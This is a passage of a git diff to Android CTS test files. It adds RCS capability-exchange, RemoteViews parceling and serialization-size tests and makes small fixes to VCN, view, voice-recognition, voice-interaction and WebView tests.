+ removeUceRequestDisallowedStatus();
+
+ // Connect to the ImsService
+ setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
+
+ TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+ .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+ BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+ BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+ RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+ @Override
+ public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+ capabilities.forEach(c -> capabilityQueue.offer(c));
+ }
+
+ @Override
+ public void onComplete() {
+ completeQueue.offer(true);
+ }
+
+ @Override
+ public void onError(int errorCode, long retryAfterMilliseconds) {
+ errorQueue.offer(errorCode);
+ errorRetryQueue.offer(retryAfterMilliseconds);
+ }
+ };
+
+ // In the first round, prepare the test account
+ Collection<Uri> numbers = new ArrayList<>();
+ numbers.add(sTestNumberUri);
+
+ ArrayList<String> pidfXmlList = new ArrayList<>();
+ pidfXmlList.add(getPidfXmlData(sTestNumberUri, true, true));
+
+ // Setup the network response is 200 OK for the first request
+ final int networkRespCode200 = 200;
+ final String networkRespReasonOK = "OK";
+ capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+ cb.onNetworkResponse(networkRespCode200, networkRespReasonOK);
+ cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+ cb.onTerminated("", 0L);
+ });
+
+ // Request contact capabilities
+ requestCapabilities(uceAdapter, numbers, callback);
+
+ // Verify that the contact capability is received and the onCompleted is called.
+ try {
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, true);
+ waitForResult(completeQueue);
+ } catch (Exception e) {
+ fail("testRequestResultInconclusive with command error failed: " + e);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ capabilityQueue.clear();
+ completeQueue.clear();
+ numbers.clear();
+ pidfXmlList.clear();
+ }
+
+ // Request the second contacts and this time, the network respons is 408 Request Timeout
+ numbers.add(sTestContact2Uri);
+
+ final int networkRespCode408 = 408;
+ final String networkRespReasonTimeout = "Request Timeout";
+ AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+ capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+ subscribeRequestCount.incrementAndGet();
+ cb.onNetworkResponse(networkRespCode408, networkRespReasonTimeout);
+ });
+
+ // Request contact capabilities again with different contact
+ requestCapabilities(uceAdapter, numbers, callback);
+
+ // Verify that the callback "onError" is called with the expected error code.
+ try {
+ assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+ assertEquals(0L, waitForLongResult(errorRetryQueue));
+ RcsContactUceCapability capability = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability);
+ verifyCapabilityResult(capability, sTestContact2Uri, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+ assertTrue(subscribeRequestCount.get() > 0);
+ } catch (Exception e) {
+ fail("testRequestResultInconclusive with command error failed: " + e);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ capabilityQueue.clear();
+ completeQueue.clear();
+ numbers.clear();
+ pidfXmlList.clear();
+ subscribeRequestCount.set(0);
+ }
+
+ // Request three contacts at a time in the third round.
+ numbers.add(sTestNumberUri);
+ numbers.add(sTestContact2Uri);
+ numbers.add(sTestContact3Uri);
+
+ // The first two contact capabilities can be retrieved from the cache. However, the third
+ // contact capabilities will be provided by the ImsService
+ pidfXmlList.add(getPidfXmlData(sTestContact3Uri, true, true));
+
+ capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+ subscribeRequestCount.incrementAndGet();
+ assertNotNull("The uris of capabilities request cannot be null", uris);
+ List<Uri> uriList = new ArrayList(uris);
+ // Verify that only uri need to be queried from the network
+ assertEquals(1, uriList.size());
+ assertEquals(sTestContact3Uri, uriList.get(0));
+ cb.onNetworkResponse(networkRespCode200, networkRespReasonOK);
+ cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+ cb.onTerminated("", 0L);
+ });
+
+ requestCapabilities(uceAdapter, numbers, callback);
+
+ List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
+ // Verify that the contact capability is received and the onCompleted is called.
+ try {
+ RcsContactUceCapability capability1 = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability1);
+ resultCapList.add(capability1);
+
+ RcsContactUceCapability capability2 = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability2);
+ resultCapList.add(capability2);
+
+ RcsContactUceCapability capability3 = waitForResult(capabilityQueue);
+ assertNotNull("Capabilities were not received", capability3);
+ resultCapList.add(capability3);
+
+ // Verify contact1's capabilities from the received capabilities list
+ RcsContactUceCapability resultCapability =
+ getContactCapability(resultCapList, sTestNumberUri);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, sTestNumberUri, SOURCE_TYPE_CACHED,
+ REQUEST_RESULT_FOUND, true, true);
+
+ // Verify contact2's capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, sTestContact2Uri);
+ assertNotNull("Cannot find the contact", resultCapability);
+ verifyCapabilityResult(resultCapability, sTestContact2Uri, SOURCE_TYPE_CACHED,
+ REQUEST_RESULT_NOT_FOUND, false, false);
+
+ // Verify contact3's capabilities from the received capabilities list
+ resultCapability = getContactCapability(resultCapList, sTestContact3Uri);
+ assertNotNull("Cannot find the contact", sTestContact3Uri);
+ verifyCapabilityResult(resultCapability, sTestContact3Uri, SOURCE_TYPE_NETWORK,
+ REQUEST_RESULT_FOUND, true, true);
+
+ // Verify the onCompleted is called
+ waitForResult(completeQueue);
+
+ } catch (Exception e) {
+ fail("testRequestResultInconclusive with command error failed: " + e);
+ } finally {
+ errorQueue.clear();
+ errorRetryQueue.clear();
+ capabilityQueue.clear();
+ completeQueue.clear();
+ numbers.clear();
+ pidfXmlList.clear();
+ removeTestContactFromEab();
+ removeUceRequestDisallowedStatus();
+ }
+
+ overrideCarrierConfig(null);
+ }
+
private void setupTestImsService(RcsUceAdapter uceAdapter, boolean presencePublishEnabled,
boolean presenceCapExchangeEnabled, boolean sipOptionsEnabled) throws Exception {
// Trigger carrier config changed
@@ -2680,6 +3244,17 @@
return pidfBuilder.toString();
}
+ private RcsContactUceCapability getContactCapability(
+ List<RcsContactUceCapability> resultCapList, Uri targetUri) {
+ if (resultCapList == null) {
+ return null;
+ }
+ return resultCapList.stream()
+ .filter(capability -> targetUri.equals(capability.getContactUri()))
+ .findFirst()
+ .orElse(null);
+ }
+
private void verifyCapabilityResult(RcsContactUceCapability resultCapability, Uri expectedUri,
int expectedSourceType, int expectedResult, boolean expectedAudioSupported,
boolean expectedVideoSupported) {
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
index 33df595..9670611 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
@@ -442,8 +442,10 @@
// Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
// waiting for VCN Network.
- final NetworkRequest cellNetworkReq =
- new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+ final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_CELLULAR)
+ .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+ .build();
final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
final Network cellNetwork = cellNetworkCb.waitForAvailable();
@@ -563,8 +565,10 @@
// Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
// waiting for VCN Network.
- final NetworkRequest cellNetworkReq =
- new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+ final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_CELLULAR)
+ .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+ .build();
final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
final Network cellNetwork = cellNetworkCb.waitForAvailable();
@@ -662,8 +666,10 @@
// Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
// waiting for VCN Network.
- final NetworkRequest cellNetworkReq =
- new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+ final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_CELLULAR)
+ .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+ .build();
final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
final Network cellNetwork = cellNetworkCb.waitForAvailable();
diff --git a/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
index 453b07a..25f72b8 100644
--- a/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
@@ -28,12 +28,12 @@
import android.graphics.Rect;
import android.graphics.Region;
import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.util.IntProperty;
+import android.util.Property;
import android.view.Gravity;
-import android.view.SurfaceControl;
-import android.view.SurfaceView;
import android.view.Surface;
+import android.view.SurfaceControl;
import android.view.View;
-import android.view.ViewGroup;
import android.view.ViewTreeObserver;
import android.view.animation.LinearInterpolator;
import android.view.cts.surfacevalidator.AnimationFactory;
@@ -43,8 +43,6 @@
import android.view.cts.surfacevalidator.ViewFactory;
import android.widget.FrameLayout;
-import android.util.Log;
-
import androidx.test.filters.LargeTest;
import androidx.test.filters.RequiresDevice;
import androidx.test.rule.ActivityTestRule;
@@ -81,7 +79,7 @@
return a;
}
- class GreenSurfaceAnchorView extends View {
+ static class GreenSurfaceAnchorView extends View {
SurfaceControl mSurfaceControl;
final Surface mSurface;
final int[] mLocation = new int[2];
@@ -110,7 +108,6 @@
@Override
public boolean gatherTransparentRegion(Region region) {
- boolean opaque = true;
int w = getWidth();
int h = getHeight();
if (w>0 && h>0) {
@@ -155,13 +152,36 @@
}
}
- private ViewFactory sGreenSurfaceControlAnchorFactory = context -> {
- return new GreenSurfaceAnchorView(context);
- };
+ private static final ViewFactory sGreenSurfaceControlAnchorFactory =
+ GreenSurfaceAnchorView::new;
- private AnimationFactory sTranslateAnimationFactory = view -> {
- PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f);
- PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f);
+ private static final AnimationFactory sTranslateAnimationFactory = view -> {
+ Property<View, Integer> translationX = new IntProperty<View>("translationX") {
+ @Override
+ public void setValue(View object, int value) {
+ object.setTranslationX(value);
+ }
+
+ @Override
+ public Integer get(View object) {
+ return (int) object.getTranslationX();
+ }
+ };
+
+ Property<View, Integer> translationY = new IntProperty<View>("translationY") {
+ @Override
+ public void setValue(View object, int value) {
+ object.setTranslationY(value);
+ }
+
+ @Override
+ public Integer get(View object) {
+ return (int) object.getTranslationY();
+ }
+ };
+
+ PropertyValuesHolder pvhX = PropertyValuesHolder.ofInt(translationX, 10, 30);
+ PropertyValuesHolder pvhY = PropertyValuesHolder.ofInt(translationY, 10, 30);
return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
};
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 5520a4d..8f548db 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -520,6 +520,10 @@
public void testAccessPointerIcon() {
View view = mActivity.findViewById(R.id.pointer_icon_layout);
MotionEvent event = MotionEvent.obtain(0, 0, MotionEvent.ACTION_HOVER_MOVE, 0, 0, 0);
+ // Only pointer sources (SOURCE_CLASS_POINTER) will have translation applied, since only
+ // they refer to locations on the screen. We need to set the source to get
+ // "setLocation" to work.
+ event.setSource(InputDevice.SOURCE_MOUSE);
// First view has pointerIcon="help"
assertEquals(PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HELP),
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index d936b7c..2fa4399 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -66,7 +66,8 @@
private final String PRIVACY_CHIP_ID = "privacy_chip";
private final String PRIVACY_DIALOG_PACKAGE_NAME = "com.android.systemui";
private final String PRIVACY_DIALOG_CONTENT_ID = "text";
- private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "car_ui_list_item_title";
+ private final String CAR_PRIVACY_DIALOG_CONTENT_ID = "mic_privacy_panel";
+ private final String CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID = "qc_title";
private final String TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator";
// The cts app label
private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
@@ -230,21 +231,25 @@
recognitionCallingAppLabels).isNotEmpty();
// get dialog content
- final String dialogDescription =
- recognitionCallingAppLabels
- .stream()
- .map(UiObject2::getText)
- .collect(Collectors.joining("\n"));
+ String dialogDescription;
+ if (isCar()) {
+ dialogDescription =
+ recognitionCallingAppLabels.get(0)
+ .findObjects(By.res(PRIVACY_DIALOG_PACKAGE_NAME,
+ CAR_PRIVACY_DIALOG_APP_LABEL_CONTENT_ID))
+ .stream()
+ .map(UiObject2::getText)
+ .collect(Collectors.joining("\n"));
+ } else {
+ dialogDescription =
+ recognitionCallingAppLabels
+ .stream()
+ .map(UiObject2::getText)
+ .collect(Collectors.joining("\n"));
+ }
Log.i(TAG, "Retrieved dialog description " + dialogDescription);
- if (isCar()) {
- // Make sure Voice recognizer's app label is present in dialog.
- assertWithMessage(
- "Voice recognition service can blame the calling app name " + APP_LABEL
- + ", but does not find it.")
- .that(dialogDescription)
- .contains(APP_LABEL);
- } else if (trustVoiceService) {
+ if (trustVoiceService) {
// Check trust recognizer can blame calling apmic permission
assertWithMessage(
"Trusted voice recognition service can blame the calling app name " + APP_LABEL
diff --git a/tests/tests/voiceinteraction/common/Android.bp b/tests/tests/voiceinteraction/common/Android.bp
index e9052de..d667329 100644
--- a/tests/tests/voiceinteraction/common/Android.bp
+++ b/tests/tests/voiceinteraction/common/Android.bp
@@ -19,5 +19,6 @@
java_library {
name: "CtsVoiceInteractionCommon",
srcs: ["src/**/*.java"],
- sdk_version: "current",
+ static_libs: ["compatibility-device-util-axt"],
+ sdk_version: "test_current",
}
diff --git a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
index 4a34e2a..29a8bb5 100644
--- a/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
+++ b/tests/tests/voiceinteraction/common/src/android/voiceinteraction/common/Utils.java
@@ -22,7 +22,10 @@
import android.os.Parcelable;
import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
+
import java.util.ArrayList;
+import java.util.Objects;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.locks.Condition;
@@ -267,4 +270,10 @@
}
return bits;
}
+
+ public static boolean isVirtualDevice() {
+ final String property = PropertyUtil.getProperty("ro.hardware.virtual_device");
+ Log.v(TAG, "virtual device property=" + property);
+ return Objects.equals(property, "1");
+ }
}
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
index 759876c..4fb3f8e 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
@@ -324,6 +324,11 @@
}
numBytes += bytesRead;
}
+ // The audio data will be zero on virtual device, so it would be better to skip to
+ // check the audio data.
+ if (Utils.isVirtualDevice()) {
+ return true;
+ }
for (byte b : buffer) {
// TODO: Maybe check that some portion of the bytes are non-zero.
if (b != 0) {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 47153af..0161540 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -38,8 +38,6 @@
import android.webkit.cts.WebViewSyncLoader.WaitForLoadedClient;
import android.util.Pair;
-import androidx.test.filters.FlakyTest;
-
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
import com.google.common.util.concurrent.SettableFuture;
@@ -144,7 +142,6 @@
// Verify shouldoverrideurlloading called on webview called via onCreateWindow
// TODO(sgurun) upstream this test to Aw.
- @FlakyTest(bugId = 172331117)
public void testShouldOverrideUrlLoadingOnCreateWindow() throws Exception {
if (!NullWebViewUtils.isWebViewAvailable()) {
return;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
index ad351a7..ec76300 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
@@ -21,6 +21,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertThrows;
@@ -36,6 +37,8 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.SizeF;
import android.util.TypedValue;
import android.view.View;
import android.view.ViewGroup;
@@ -58,13 +61,20 @@
import com.android.compatibility.common.util.WidgetTestUtils;
+import com.google.common.collect.Lists;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+import java.util.stream.Collectors;
@MediumTest
@RunWith(AndroidJUnit4.class)
@@ -116,11 +126,7 @@
.addItem(5 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
.build();
- Parcel parcel = Parcel.obtain();
- items.writeToParcel(parcel, 0 /* flags */);
- parcel.setDataPosition(0);
-
- RemoteCollectionItems unparceled = RemoteCollectionItems.CREATOR.createFromParcel(parcel);
+ RemoteCollectionItems unparceled = parcelAndUnparcel(items);
assertEquals(2, unparceled.getItemCount());
assertEquals(3, unparceled.getItemId(0));
assertEquals(5, unparceled.getItemId(1));
@@ -128,8 +134,78 @@
assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
assertTrue(unparceled.hasStableIds());
assertEquals(10, unparceled.getViewTypeCount());
+ assertNotNull(unparceled.getItemView(0).mApplication);
+ assertSame(
+ unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
- parcel.recycle();
+ // Parcel and unparcel the RemoteViews and test again to ensure that the parent child
+ // relationship is correctly established from the Parcel constructor.
+ unparceled = parcelAndUnparcel(unparceled);
+ assertEquals(2, unparceled.getItemCount());
+ assertEquals(3, unparceled.getItemId(0));
+ assertEquals(5, unparceled.getItemId(1));
+ assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+ assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+ assertTrue(unparceled.hasStableIds());
+ assertEquals(10, unparceled.getViewTypeCount());
+ assertNotNull(unparceled.getItemView(0).mApplication);
+ assertSame(
+ unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
+ }
+
+ @Test
+ public void testParcelingAndUnparceling_afterAttaching() {
+ RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+ .setHasStableIds(true)
+ .setViewTypeCount(10)
+ .addItem(3 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+ .addItem(5 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
+ .build();
+
+ RemoteViews parent = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ parent.setRemoteAdapter(R.id.listview_default, items);
+
+ RemoteCollectionItems unparceled = parcelAndUnparcel(items);
+ assertEquals(2, unparceled.getItemCount());
+ assertEquals(3, unparceled.getItemId(0));
+ assertEquals(5, unparceled.getItemId(1));
+ assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+ assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+ assertTrue(unparceled.hasStableIds());
+ assertEquals(10, unparceled.getViewTypeCount());
+ assertNotNull(unparceled.getItemView(0).mApplication);
+ assertSame(
+ unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
+ }
+
+ @Test
+ public void testParcelingAndUnparceling_multiplePackages() {
+ Optional<String> otherPackageName = getAnotherPackageName();
+ if (!otherPackageName.isPresent()) return;
+ RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+ .setHasStableIds(true)
+ .setViewTypeCount(10)
+ .addItem(3 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+ .addItem(
+ 5 /* id */,
+ new RemoteViews(otherPackageName.get(), R.layout.textview_gravity))
+ .build();
+
+ RemoteViews parent = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ parent.setRemoteAdapter(R.id.listview_default, items);
+
+ RemoteCollectionItems unparceled = parcelAndUnparcel(items);
+ assertEquals(2, unparceled.getItemCount());
+ assertEquals(3, unparceled.getItemId(0));
+ assertEquals(5, unparceled.getItemId(1));
+ assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+ assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+ assertTrue(unparceled.hasStableIds());
+ assertEquals(10, unparceled.getViewTypeCount());
+ assertNotNull(unparceled.getItemView(0).mApplication);
+ assertNotNull(unparceled.getItemView(1).mApplication);
+ assertEquals(PACKAGE_NAME, unparceled.getItemView(0).mApplication.packageName);
+ assertEquals(otherPackageName.get(), unparceled.getItemView(1).mApplication.packageName);
}
@Test
@@ -234,6 +310,129 @@
}
@Test
+ public void testSerializationSize_largeCollection() {
+ RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 100);
+
+ int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+ // 7,408 when test was written.
+ assertLessThan(10_000, dataSize);
+ }
+
+ @Test
+ public void testSerializationSize_largeCollection_multiPackage() {
+ Optional<String> otherPackageName = getAnotherPackageName();
+ if (!otherPackageName.isPresent()) return;
+ RemoteCollectionItems items =
+ createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackageName.get());
+
+ int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+ // 9,140 when test was written.
+ assertLessThan(12_000, dataSize);
+ }
+
+ @Test
+ public void testSerializationSize_extraLargeCollection() {
+ RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 1000);
+
+ int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+ // 50,608 when test was written.
+ assertLessThan(70_000, dataSize);
+ }
+
+ @Test
+ public void testSerializationSize_largeCollectionInLandPortRemoteViews() {
+ RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ landscape.setRemoteAdapter(
+ R.id.listview_default,
+ createSampleCollectionItems(/* size= */ 100));
+ RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ landscape.setRemoteAdapter(
+ R.id.listview_default,
+ createSampleCollectionItems(/* size= */ 100));
+
+ RemoteViews joinedRemoteViews = new RemoteViews(landscape, portrait);
+
+ int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+ // 12,336 when test was written.
+ assertLessThan(15_000, dataSize);
+ }
+
+ @Test
+ public void testSerializationSize_largeCollectionInLandPortRemoteViews_multiPackage() {
+ Optional<String> otherPackage = getAnotherPackageName();
+ if (!otherPackage.isPresent()) return;
+ RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ landscape.setRemoteAdapter(
+ R.id.listview_default,
+ createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackage.get()));
+ RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ landscape.setRemoteAdapter(
+ R.id.listview_default,
+ createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackage.get()));
+
+ RemoteViews joinedRemoteViews = new RemoteViews(landscape, portrait);
+
+ int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+ // 14,068 when test was written.
+ assertLessThan(20_000, dataSize);
+ }
+
+ @Test
+ public void testSerializationSize_largeCollectionInSizedRemoteViews() {
+ List<SizeF> sizes =
+ Lists.newArrayList(
+ new SizeF(50, 50),
+ new SizeF(50, 100),
+ new SizeF(100, 100),
+ new SizeF(200, 100));
+ Map<SizeF, RemoteViews> sizeToRemoteViews =
+ sizes.stream().collect(Collectors.toMap(Function.identity(), ignored -> {
+ RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 100);
+ RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ views.setRemoteAdapter(R.id.listview_default, items);
+ return views;
+ }));
+ RemoteViews joinedRemoteViews = new RemoteViews(sizeToRemoteViews);
+
+ int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+ // 22,100 when test was written.
+ assertLessThan(30_000, dataSize);
+ }
+
+ @Test
+ public void testSerializationSize_largeCollectionInSizedRemoteViews_multiPackage() {
+ Optional<String> otherPackage = getAnotherPackageName();
+ if (!otherPackage.isPresent()) return;
+ List<SizeF> sizes =
+ Lists.newArrayList(
+ new SizeF(50, 50),
+ new SizeF(50, 100),
+ new SizeF(100, 100),
+ new SizeF(200, 100));
+ Map<SizeF, RemoteViews> sizeToRemoteViews =
+ sizes.stream().collect(Collectors.toMap(Function.identity(), ignored -> {
+ RemoteCollectionItems items =
+ createSampleMultiPackageCollectionItems(
+ /* size= */ 100, otherPackage.get());
+ RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+ views.setRemoteAdapter(R.id.listview_default, items);
+ return views;
+ }));
+ RemoteViews joinedRemoteViews = new RemoteViews(sizeToRemoteViews);
+
+ int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+ // 23,832 when test was written.
+ assertLessThan(30_000, dataSize);
+ }
+
+ @Test
public void testSetRemoteAdapter_emptyCollection() {
RemoteCollectionItems items = new RemoteCollectionItems.Builder().build();
mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
@@ -316,7 +515,7 @@
.addItem(12 /* id= */, item2)
.build();
- mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+ mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule,
() -> mRemoteViews.reapply(mActivity, mView), true);
@@ -458,7 +657,7 @@
.setViewTypeCount(2)
.build();
- mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+ mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
Adapter initialAdapter = listView.getAdapter();
@@ -469,7 +668,7 @@
.addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
.setViewTypeCount(2)
.build();
- mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+ mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
// The adapter should have been kept, and the second item should have maintained its view
@@ -489,7 +688,7 @@
.addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
.build();
- mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+ mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
Adapter initialAdapter = listView.getAdapter();
@@ -540,7 +739,7 @@
mGridView, () -> {
mListView.setVisibility(View.GONE);
mGridView.setVisibility(View.VISIBLE);
- mRemoteViews.setRemoteAdapter(R.id.remoteView_grid, items);
